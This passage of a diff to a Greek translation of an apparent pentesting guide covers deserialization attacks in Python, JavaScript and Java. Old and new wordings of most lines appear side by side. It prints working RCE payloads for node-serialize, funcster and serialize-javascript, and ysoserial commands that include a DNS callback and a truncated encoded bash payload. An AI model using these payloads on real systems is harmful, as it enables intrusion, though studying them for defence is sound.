Για περισσότερες πληροφορίες σχετικά με τον τρόπο απόδρασης από τα **pickle jails** ελέγξτε:
Για περισσότερες πληροφορίες σχετικά με την αποφυγή από **pickle jails** δείτε:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -163,13 +164,13 @@ print(base64.b64encode(pickle.dumps(P())))
### Yaml **&** jsonpickle
Η ακόλουθη σελίδα παρουσιάζει την τεχνική για την **κατάχρηση μιας μη ασφαλούς αποσειριοποίησης στις βιβλιοθήκες python yamls** και ολοκληρώνεται με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για τη δημιουργία φορτίου αποσειριοποίησης RCE για **Pickle, PyYAML, jsonpickle και ruamel.yaml**:
Η παρακάτω σελίδα παρουσιάζει την τεχνική για **κατάχρηση μιας μη ασφαλούς αποσυμπίεσης σε yamls** βιβλιοθήκες python και τελειώνει με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να δημιουργήσει RCE deserialization payload για **Pickle, PyYAML, jsonpickle και ruamel.yaml**:
{% content-ref url="python-yaml-deserialization.md" %}
[python-yaml-deserialization.md](python-yaml-deserialization.md)
{% endcontent-ref %}
### Ρύπανση Κλάσης (Python Prototype Pollution)
### Class Pollution (Python Prototype Pollution)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
@ -179,10 +180,10 @@ print(base64.b64encode(pickle.dumps(P())))
### JS Magic Functions
Το JS **δεν έχει "μαγικές" συναρτήσεις** όπως τα PHP ή τα Python που θα εκτελεστούν μόνο για τη δημιουργία ενός αντικειμένου. Ωστόσο, έχει μερικές **συναρτήσεις** που **χρησιμοποιούνται συχνά ακόμα και χωρίς να καλούνται απευθείας** όπως το **`toString`**, **`valueOf`**, **`toJSON`**.\
Αν καταχραστείτε μια αποσειριοποίηση μπορείτε να **θέσετε σε κίνδυνο αυτές τις συναρτήσεις για να εκτελέσετε άλλον κώδικα** (πιθανώς καταχρώμενοι τις ρυπάνσεις πρωτοτύπων) μπορείτε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται.
JS **δεν έχει "μαγικές" συναρτήσεις** όπως η PHP ή η Python που θα εκτελούνται απλώς για τη δημιουργία ενός αντικειμένου. Αλλά έχει κάποιες **συναρτήσεις** που είναι **συχνά χρησιμοποιούμενες ακόμη και χωρίς να τις καλείτε άμεσα** όπως **`toString`**, **`valueOf`**, **`toJSON`**.\
Εάν καταχραστείτε μια αποσυμπίεση μπορείτε να **συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα** (πιθανώς καταχρώντας τις μολύνσεις πρωτοτύπου) μπορείτε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται.
Ένας άλλος **"μαγικός" τρόπος να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε απευθείας είναι με το **να θέσετε σε κίνδυνο ένα αντικείμενο που επιστρέφεται από μια ασύγχρονη συνάρτηση** (promise). Διότι, αν **μετατρέψετε** αυτό το **αντικείμενο επιστροφής** σε ένα άλλο **promise** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτηση**, θα **εκτελεστεί** απλά επειδή επιστρέφεται από ένα άλλο promise. _Ακολουθήστε_ [_**αυτόν τον σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._
Ένας άλλος **"μαγικός" τρόπος για να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε άμεσα είναι με το **να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια async συνάρτηση** (υπόσχεση). Διότι, αν **μετατρέψετε** αυτό το **επιστρεφόμενο αντικείμενο** σε άλλη **υπόσχεση** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτησης**, θα **εκτελείται** απλώς επειδή επιστρέφεται από άλλη υπόσχεση. _Ακολουθήστε_ [_**αυτόν τον σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -208,7 +209,7 @@ test_then()
```
### `__proto__` και `prototype` ρύπανση
Αν θέλετε να μάθετε για αυτήν την τεχνική **ρίξτε μια ματιά στο παρακάτω εγχειρίδιο**:
Αν θέλετε να μάθετε για αυτή την τεχνική **ρίξτε μια ματιά στο παρακάτω σεμινάριο**:
{% content-ref url="nodejs-proto-prototype-pollution/" %}
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
@ -229,7 +230,7 @@ console.log("Serialized: \n" + payload_serialized);
```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```
Μπορείτε να δείτε στο παράδειγμα ότι όταν μια συνάρτηση σειριοποιείται, η σημαία `_$$ND_FUNC$$_` προστίθεται στο αντικείμενο που σειριοποιείται.
Μπορείτε να δείτε στο παράδειγμα ότι όταν μια συνάρτηση είναι σειριοποιημένη, η σημαία `_$$ND_FUNC$$_` προστίθεται στο σειριοποιημένο αντικείμενο.
Μέσα στο αρχείο `node-serialize/lib/serialize.js` μπορείτε να βρείτε την ίδια σημαία και πώς ο κώδικας τη χρησιμοποιεί.
@ -237,17 +238,17 @@ console.log("Serialized: \n" + payload_serialized);
![](<../../.gitbook/assets/image (446).png>)
Όπως μπορείτε να δείτε στο τελευταίο κομμάτι κώδικα, **αν βρεθεί η σημαία** χρησιμοποιείται το `eval` για να ανασειριοποιήσει τη συνάρτηση, οπότε βασικά **η είσοδος του χρήστη χρησιμοποιείται μέσα στη συνάρτηση `eval`**.
Όπως μπορείτε να δείτε στο τελευταίο κομμάτι κώδικα, **αν βρεθεί η σημαία** χρησιμοποιείται το `eval` για να αποσειριοποιήσει τη συνάρτηση, οπότε βασικά **η είσοδος του χρήστη χρησιμοποιείται μέσα στη συνάρτηση `eval`**.
Ωστόσο, **απλά σειριοποιώντας** μια συνάρτηση **δεν θα την εκτελέσει** καθώς θα ήταν απαραίτητο να υπάρχει κάποιο τμήμα του κώδικα που να καλεί το `y.rce` στο παράδειγμά μας και αυτό είναι υψηλά **απίθανο**.\
Πάντως, θα μπορούσατε απλά **να τροποποιήσετε το σειριοποιημένο αντικείμενο** **προσθέτοντας μερικές παρενθέσεις** ώστε να εκτελεί αυτόματα τη σειριοποιημένη συνάρτηση όταν ανασειριοποιείται το αντικείμενο.\
Στο επόμενο κομμάτι κώδικα **παρατηρήστε την τελευταία παρένθεση** και πώς η συνάρτηση `unserialize` θα εκτελέσει αυτόματα τον κώδικα:
Ωστόσο, **απλά σειριοποιώντας** μια συνάρτηση **δεν θα την εκτελέσει** καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να **καλεί το `y.rce`** στο παράδειγμά μας και αυτό είναι πολύ **απίθανο**.\
Ούτως ή άλλως, θα μπορούσατε απλά να **τροποποιήσετε το σειριοποιημένο αντικείμενο** **προσθέτοντας μερικές παρενθέσεις** ώστε να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν το αντικείμενο αποσειριοποιείται.\
Στο επόμενο κομμάτι κώδικα **προσέξτε την τελευταία παρένθεση** και πώς η συνάρτηση `unserialize` θα εκτελέσει αυτόματα τον κώδικα:
```javascript
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
```
Όπως προαναφέρθηκε, αυτή η βιβλιοθήκη θα λάβει τον κώδικα μετά το `_$$ND_FUNC$$_` και θα τον **εκτελέσει** χρησιμοποιώντας το `eval`. Επομένως, για να **αυτοεκτελέσετε κώδικα** μπορείτε να **διαγράψετε το τμήμα δημιουργίας της συνάρτησης** και την τελευταία παρένθεση και **απλά να εκτελέσετε ένα JS oneliner** όπως στο παρακάτω παράδειγμα:
Όπως αναφέρθηκε προηγουμένως, αυτή η βιβλιοθήκη θα πάρει τον κώδικα μετά το `_$$ND_FUNC$$_` και θα **εκτελέσει** αυτόν χρησιμοποιώντας `eval`. Επομένως, για να **αυτοεκτελείται ο κώδικας** μπορείτε να **διαγράψετε το μέρος δημιουργίας της συνάρτησης** και την τελευταία παρένθεση και **να εκτελέσετε απλά μια JS oneliner** όπως στο παρακάτω παράδειγμα:
```javascript
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
@ -257,9 +258,9 @@ serialize.unserialize(test);
### [funcster](https://www.npmjs.com/package/funcster)
Ένα σημαντικό χαρακτηριστικό του **funcster** είναι η μη προσβασιμότητα των **κανονικών ενσωματωμένων αντικειμένων**· βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`.
Ένα αξιοσημείωτο χαρακτηριστικό του **funcster** είναι η απροσβλητότητα των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`.
Παρά τον περιορισμό αυτό, η ανάκτηση πλήρη πρόσβασης στο γενικό πλαίσιο, συμπεριλαμβανομένων όλων των κανονικών ενσωματωμένων αντικειμένων, είναι δυνατή μέσω μιας συγκεκριμένης προσέγγισης. Χρησιμοποιώντας απευθείας το γενικό πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να ανακτηθεί χρησιμοποιώντας το ακόλουθο απόσπασμα:
Παρά αυτόν τον περιορισμό, η αποκατάσταση πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, είναι δυνατή μέσω μιας συγκεκριμένης προσέγγισης. Εκμεταλλευόμενοι άμεσα το παγκόσμιο πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα:
```javascript
funcster = require("funcster");
//Serialization
@ -274,17 +275,17 @@ funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
```
**Για** [**περισσότερες πληροφορίες διαβάστε αυτή την πηγή**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
**Για**[ **περισσότερες πληροφορίες διαβάστε αυτή την πηγή**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
Το πακέτο **serialize-javascript** σχεδιάστηκε αποκλειστικά για σκοπούς σειριοποίησης, χωρίς καμία ενσωματωμένη δυνατότητα αποσειριοποίησης. Οι χρήστες είναι υπεύθυνοι για την υλοποίηση της δικής τους μεθόδου για την αποσειριοποίηση. Η άμεση χρήση της `eval` προτείνεται από το επίσημο παράδειγμα για την αποσειριοποίηση σειριοποιημένων δεδομένων:
Το πακέτο **serialize-javascript** έχει σχεδιαστεί αποκλειστικά για σκοπούς σειριοποίησης, χωρίς καμία ενσωματωμένη δυνατότητα αποσειριοποίησης. Οι χρήστες είναι υπεύθυνοι για την υλοποίηση της δικής τους μεθόδου αποσειριοποίησης. Μια άμεση χρήση του `eval` προτείνεται από το επίσημο παράδειγμα για την αποσειριοποίηση σειριοποιημένων δεδομένων:
```javascript
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
```
Αν αυτή η συνάρτηση χρησιμοποιείται για την αποσειριοποίηση αντικειμένων, μπορείτε **εύκολα να το εκμεταλλευτείτε**:
Αν αυτή η συνάρτηση χρησιμοποιείται για να αποδομήσει αντικείμενα, μπορείτε **εύκολα να την εκμεταλλευτείτε**:
```javascript
var serialize = require('serialize-javascript');
//Serialization
@ -295,90 +296,90 @@ console.log(test) //function() { return "Hello world!" }
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
```
**Για** [**περισσότερες πληροφορίες διαβάστε αυτή την πηγή**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
**Για**[ **περισσότερες πληροφορίες διαβάστε αυτή την πηγή**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Βιβλιοθήκη Cryo
Στις ακόλουθες σελίδες μπορείτε να βρείτε πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτή τη βιβλιοθήκη για την εκτέλεση αυθαίρετων εντολών:
Στις επόμενες σελίδες μπορείτε να βρείτε πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτή τη βιβλιοθήκη για να εκτελέσετε αυθαίρετες εντολές:
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
## Java - HTTP
Στη Java, **οι κλήσεις ανάκλησης αποσειριοποίησης εκτελούνται κατά τη διαδικασία της αποσειριοποίησης**. Αυτή η εκτέλεση μπορεί να εκμεταλλευτείται από επιτιθέμενους που δημιουργούν κακόβουλα φορτία που ενεργοποιούν αυτές τις κλήσεις ανάκλησης, οδηγώντας σε πιθανή εκτέλεση επιβλαβών ενεργειών.
Στην Java, **οι κλήσεις ανασυγκρότησης εκτελούνται κατά τη διάρκεια της διαδικασίας ανασυγκρότησης**. Αυτή η εκτέλεση μπορεί να εκμεταλλευτεί από επιτιθέμενους που κατασκευάζουν κακόβουλα payloads που ενεργοποιούν αυτές τις κλήσεις, οδηγώντας σε πιθανή εκτέλεση επιβλαβών ενεργειών.
### Δακτυλικά αποτυπώματα
#### White Box
#### Λευκό Κουτί
Για την αναγνώριση πιθανών ευπαθειών σειριοποίησης στον κώδικα, αναζητήστε:
Για να εντοπίσετε πιθανές ευπάθειες ανασυγκρότησης στον κώδικα, αναζητήστε:
* Κλάσεις που υλοποιούν τη διεπαφή `Serializable`.
* Χρήση των συναρτήσεων `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
Δώστε ιδιαίτερη προσοχή σε:
* Το `XMLDecoder` που χρησιμοποιείται με παραμέτρους που έχουν οριστεί από εξωτερικούς χρήστες.
* Η μέθοδος `fromXML` του `XStream`, ειδικά αν η έκδοση του XStream είναι μικρότερη ή ίση του 1.46, καθώς είναι ευάλωτη σε θέματα σειριοποίησης.
* Το `ObjectInputStream` σε συνδυασμό με τη μέθοδο `readObject`.
* `XMLDecoder` που χρησιμοποιείται με παραμέτρους που ορίζονται από εξωτερικούς χρήστες.
* Η μέθοδος `fromXML` του `XStream`, ειδικά αν η έκδοση του XStream είναι μικρότερη ή ίση με 1.46, καθώς είναι ευάλωτη σε ζητήματα ανασυγκρότησης.
* `ObjectInputStream` σε συνδυασμό με τη μέθοδο `readObject`.
* Υλοποίηση μεθόδων όπως `readObject`, `readObjectNodData`, `readResolve`, ή `readExternal`.
* Το `ObjectInputStream.readUnshared`.
* `ObjectInputStream.readUnshared`.
* Γενική χρήση του `Serializable`.
#### Black Box
#### Μαύρο Κουτί
Για δοκιμές με μαύρο κουτί, αναζητήστε συγκεκριμένες **υπογραφές ή "Magic Bytes"** που υποδηλώνουν αντικείμενα σειριοποίησης Java (προερχόμενα από το `ObjectInputStream`):
Για δοκιμές μαύρου κουτιού, αναζητήστε συγκεκριμένες **υπογραφές ή "Magic Bytes"** που δηλώνουν java serialized objects (προερχόμενα από `ObjectInputStream`):
* Δεκαεξαδικό πρότυπο: `AC ED 00 05`.
* Πρότυπο Base64: `rO0`.
* Κεφαλίδες απάντησης HTTP με το `Content-type` ορισμένο σε `application/x-java-serialized-object`.
* Δεκαεξαδικό πρότυπο που υποδηλώνει προηγούμενη συμπίεση: `1F 8B 08 00`.
* Πρότυπο Base64 που υποδηλώνει προηγούμενη συμπίεση: `H4sIA`.
* Αρχεία ιστού με την επέκταση `.faces` και την παράμετρο `faces.ViewState`. Η ανακάλυψη αυτών των προτύπων σε μια εφαρμογή ιστού θα πρέπει να προκαλέσει έλεγχο όπως αναφέρεται λεπτομερώς στην [ανάρτηση σχετικά με την αποσειριοποίηση του Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
* Εξαδικό μοτίβο: `AC ED 00 05`.
* Μοτίβο Base64: `rO0`.
* HTTP response headers με `Content-type` ρυθμισμένο σε `application/x-java-serialized-object`.
* Εξαδικό μοτίβο που υποδηλώνει προηγούμενη συμπίεση: `1F 8B 08 00`.
* Μοτίβο Base64 που υποδηλώνει προηγούμενη συμπίεση: `H4sIA`.
* Ιστοσελίδες με την επέκταση `.faces` και την παράμετρο `faces.ViewState`. Η ανακάλυψη αυτών των μοτίβων σε μια διαδικτυακή εφαρμογή θα πρέπει να προκαλέσει μια εξέταση όπως αναλύεται στην [ανάρτηση σχετικά με την ανασυγκρότηση Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
### Έλεγχος εάν υπάρχει ευπάθεια
### Έλεγχος αν είναι ευάλωτο
Εάν θέλετε να **μάθετε πώς λειτουργεί μια εκμετάλλευση αποσειριοποίησης Java**, πρέπει να ρίξετε μια ματιά στα [**Βασικά Java Αποσειριοποίησης**](basic-java-deserialization-objectinputstream-readobject.md), [**Αποσειριοποίηση DNS Java**](java-dns-deserialization-and-gadgetprobe.md) και [**Πληθυσμός CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
Αν θέλετε να **μάθετε πώς λειτουργεί μια εκμετάλλευση Java Deserialized** θα πρέπει να ρίξετε μια ματιά σε [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), και [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
#### Δοκιμή White Box
Μπορείτε να ελέγξετε εάν έχει εγκατασταθεί κάποια εφαρμογή με γνωστές ευπάθειες.
Μπορείτε να ελέγξετε αν είναι εγκατεστημένη κάποια εφαρμογή με γνωστές ευπάθειες.
```bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
Μπορείτε να **ελέγξετε όλες τις βιβλιοθήκες** που είναι γνωστό ότι είναι ευάλωτες και για τις οποίες το [**Ysoserial**](https://github.com/frohoff/ysoserial) μπορεί να παρέχει εκμετάλλευση. Ή μπορείτε να ελέγξετε τις βιβλιοθήκες που αναφέρονται στο [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Μπορείτε επίσης να χρησιμοποιήσετε το [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) για να αναζητήσετε πιθανές αλυσίδες gadget που μπορούν να εκμεταλλευτούν.\
Όταν εκτελείτε το **gadgetinspector** (μετά την κατασκευή του), μην ανησυχείτε για τις πολλές προειδοποιήσεις/σφάλματα που εμφανίζονται και αφήστε το να ολοκληρωθεί. Θα γράψει όλα τα ευρήματα στο _gadgetinspector/gadget-results/gadget-chains-έτος-μήνα-ημέρα-ώρα-λεπτό.txt_. Παρακαλώ, σημειώστε ότι το **gadgetinspector δεν θα δημιουργήσει μια εκμετάλλευση και μπορεί να εμφανίσει ψευδείς θετικά**.
Μπορείτε να προσπαθήσετε να **ελέγξετε όλες τις βιβλιοθήκες** που είναι γνωστό ότι είναι ευάλωτες και ότι [**Ysoserial**](https://github.com/frohoff/ysoserial) μπορεί να παρέχει μια εκμετάλλευση. Ή μπορείτε να ελέγξετε τις βιβλιοθήκες που αναφέρονται στο [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Μπορείτε επίσης να χρησιμοποιήσετε [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) για να αναζητήσετε πιθανές αλυσίδες gadget που μπορούν να εκμεταλλευτούν.\
Όταν εκτελείτε το **gadgetinspector** (μετά την κατασκευή του) μην ανησυχείτε για τους τόνους προειδοποιήσεων/σφαλμάτων που περνάει και αφήστε το να ολοκληρωθεί. Θα γράψει όλα τα ευρήματα κάτω από _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Παρακαλώ, σημειώστε ότι **το gadgetinspector δεν θα δημιουργήσει μια εκμετάλλευση και μπορεί να υποδείξει ψευδώς θετικά αποτελέσματα**.
#### Δοκιμή Μαύρου Κουτιού
#### Black Box Test
Χρησιμοποιώντας την επέκταση του Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) μπορείτε να αναγνωρίσετε **ποιες βιβλιοθήκες είναι διαθέσιμες** (και ακόμα και τις εκδόσεις). Με αυτές τις πληροφορίες θα μπορούσε να είναι **ευκολότερο να επιλέξετε ένα payload** για να εκμεταλλευτείτε την ευπάθεια.\
[**Διαβάστε αυτό για να μάθετε περισσότερα σχετικά με το GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
Το GadgetProbe επικεντρώνεται στις **αποσειριοποιήσεις `ObjectInputStream`**.
Χρησιμοποιώντας την επέκταση Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) μπορείτε να προσδιορίσετε **ποια βιβλιοθήκες είναι διαθέσιμες** (και ακόμη και τις εκδόσεις τους). Με αυτές τις πληροφορίες θα μπορούσε να είναι **ευκολότερο να επιλέξετε ένα payload** για να εκμεταλλευτείτε την ευπάθεια.\
[**Διαβάστε αυτό για να μάθετε περισσότερα για το GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
Το GadgetProbe επικεντρώνεται σε **`ObjectInputStream` deserializations**.
Χρησιμοποιώντας την επέκταση του Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) μπορείτε να **αναγνωρίσετε ευάλωτες βιβλιοθήκες** που μπορούν να εκμεταλλευτούν με το ysoserial και να τις **εκμεταλλευτείτε**.\
[**Διαβάστε αυτό για να μάθετε περισσότερα σχετικά με το Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Το Java Deserialization Scanner επικεντρώνεται στις **αποσειριοποιήσεις `ObjectInputStream`**.
Χρησιμοποιώντας την επέκταση Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) μπορείτε να **εντοπίσετε ευάλωτες βιβλιοθήκες** που μπορούν να εκμεταλλευτούν με το ysoserial και να **τις εκμεταλλευτείτε**.\
[**Διαβάστε αυτό για να μάθετε περισσότερα για το Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Ο Java Deserialization Scanner επικεντρώνεται σε **`ObjectInputStream`** deserializations.
Μπορείτε επίσης να χρησιμοποιήσετε το [**Freddy**](https://github.com/nccgroup/freddy) για να **ανιχνεύσετε ευπάθειες αποσειριοποιήσεις** στο **Burp**. Αυτό το πρόσθετο θα ανιχνεύσει **όχι μόνο ευπάθειες που σχετίζονται με το `ObjectInputStream`** αλλά **επίσης** ευπάθειες από βιβλιοθήκες αποσειριοποίησης **Json** και **Yml**. Σε ενεργό καθεστώς, θα προσπαθήσει να τις επιβεβαιώσει χρησιμοποιώντας payloads sleep ή DNS.\
[**Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με το Freddy εδώ.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
Μπορείτε επίσης να χρησιμοποιήσετε [**Freddy**](https://github.com/nccgroup/freddy) για να **εντοπίσετε ευπάθειες deserialization** στο **Burp**. Αυτό το plugin θα ανιχνεύσει **όχι μόνο ευπάθειες σχετικές με το `ObjectInputStream`** αλλά **και** ευπάθειες από βιβλιοθήκες deserialization **Json** και **Yml**. Σε ενεργό λειτουργία, θα προσπαθήσει να τις επιβεβαιώσει χρησιμοποιώντας payloads sleep ή DNS.\
[**Μπορείτε να βρείτε περισσότερες πληροφορίες για το Freddy εδώ.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Δοκιμή Σειριοποίησης**
**Serialization Test**
Δεν είναι όλα για τον έλεγχο εάν χρησιμοποιείται κάποια ευάλωτη βιβλιοθήκη από τον διακομιστή. Μερικές φορές μπορείτε να **αλλάξετε τα δεδομένα μέσα στο σειριοποιημένο αντικείμενο και να παρακάμψετε μερικούς ελέγχους** (ίσως να σας χορηγήσει δικαιώματα διαχειριστή μέσα σε μια web εφαρμογή).\
Αν βρείτε ένα σειριοποιημένο αντικείμενο Java που στέλνεται σε μια web εφαρμογή, **μπορείτε να χρησιμοποιήσετε το** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **για να εκτυπώσετε σε ένα πιο ευανάγνωστο μορφή το σειριοποιημένο αντικείμενο που στέλνεται**. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε μερικούς ελέγχους.
Δεν είναι όλα σχετικά με το να ελέγξετε αν χρησιμοποιείται κάποια ευάλωτη βιβλιοθήκη από τον διακομιστή. Μερικές φορές μπορείτε να **αλλάξετε τα δεδομένα μέσα στο σειριακό αντικείμενο και να παρακάμψετε κάποιους ελέγχους** (ίσως να σας δώσει δικαιώματα διαχειριστή μέσα σε μια webapp).\
Αν βρείτε ένα σειριασμένο αντικείμενο java που αποστέλλεται σε μια web εφαρμογή, **μπορείτε να χρησιμοποιήσετε** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **για να εκτυπώσετε σε μια πιο ανθρώπινα αναγνώσιμη μορφή το σειριακό αντικείμενο που αποστέλλεται**. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους.
### **Εκμετάλλευση**
### **Exploit**
#### **ysoserial**
Το κύριο εργαλείο για την εκμετάλλευση των αποσειριοποιήσεων Java είναι το [**ysoserial**](https://github.com/frohoff/ysoserial) ([**κατεβάστε εδώ**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Μπορείτε επίσης να λάβετε υπόψη τη χρήση του [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) το οποίο θα σας επιτρέψει να χρησιμοποιήσετε πολύπλοκες εντολές (με σωληνώσεις για παράδειγμα).\
Σημειώστε ότι αυτό το εργαλείο είναι **επικεντρωμένο** στην εκμετάλλευση του **`ObjectInputStream`**.\
Θα **ξεκινούσα χρησιμοποιώντας το payload "URLDNS"** πριν από ένα payload RCE για να δοκιμάσω αν η ενσωμάτωση είναι δυνατή. Πάντως, σημειώστε ότι ίσως το payload "URLDNS" να μη λειτουργεί, αλλά άλλο payload RCE να λειτουργεί.
Το κύριο εργαλείο για την εκμετάλλευση των Java deserializations είναι το [**ysoserial**](https://github.com/frohoff/ysoserial) ([**κατεβάστε εδώ**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Μπορείτε επίσης να εξετάσετε τη χρήση του [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) που θα σας επιτρέψει να χρησιμοποιήσετε σύνθετες εντολές (με pipes για παράδειγμα).\
Σημειώστε ότι αυτό το εργαλείο είναι **εστιασμένο** στην εκμετάλλευση του **`ObjectInputStream`**.\
Θα **ξεκινούσα χρησιμοποιώντας το payload "URLDNS"** **πριν από ένα RCE** payload για να δοκιμάσω αν η ένεση είναι δυνατή. Ούτως ή άλλως, σημειώστε ότι ίσως το payload "URLDNS" να μην λειτουργεί αλλά κάποιο άλλο RCE payload να λειτουργεί.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -423,9 +424,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
